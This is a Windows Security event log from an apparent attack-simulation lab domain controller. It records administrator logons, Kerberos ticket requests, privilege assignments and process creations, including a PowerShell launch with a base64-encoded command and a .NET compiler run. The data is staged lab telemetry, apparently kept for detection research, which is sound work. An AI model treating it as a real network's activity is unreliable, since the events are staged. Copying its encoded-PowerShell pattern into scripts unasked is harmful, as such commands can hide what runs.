administrator. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257604 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x5d8 - Process Name: C:\Windows\System32\svchost.exe -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257603 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52BC27 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257602 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52BC27 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {63E940EA-81D6-9F02-A3F6-49A425BF0300} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257601 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {63E940EA-81D6-9F02-A3F6-49A425BF0300} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257600 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {63E940EA-81D6-9F02-A3F6-49A425BF0300} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257599 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257598 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52BB15 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257597 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x523E6F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257596 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x524A48 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257595 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x528531 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257594 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52BB15 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257593 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52BB15 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {63E940EA-81D6-9F02-A3F6-49A425BF0300} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257592 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {63E940EA-81D6-9F02-A3F6-49A425BF0300} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257591 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {63E940EA-81D6-9F02-A3F6-49A425BF0300} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257590 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257589 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52BAE3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257588 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52BAE3 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257587 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52BAE3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {63E940EA-81D6-9F02-A3F6-49A425BF0300} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257586 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {63E940EA-81D6-9F02-A3F6-49A425BF0300} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257585 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {63E940EA-81D6-9F02-A3F6-49A425BF0300} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257584 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257583 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52B7B5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257582 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52A9F2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257581 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5289ED - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257633 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52BC27 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x60c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x370 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABHAGUAdAAtAFAAYQBjAGsAYQBnAGUAUAByAG8AdgBpAGQAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257632 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52F498 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257631 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52F498 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {714C064F-3986-F6B2-EBD4-0A84FB6B353B} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257630 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {714C064F-3986-F6B2-EBD4-0A84FB6B353B} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257629 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {714C064F-3986-F6B2-EBD4-0A84FB6B353B} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257628 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257627 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x52BC27 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1224 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xcf8 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 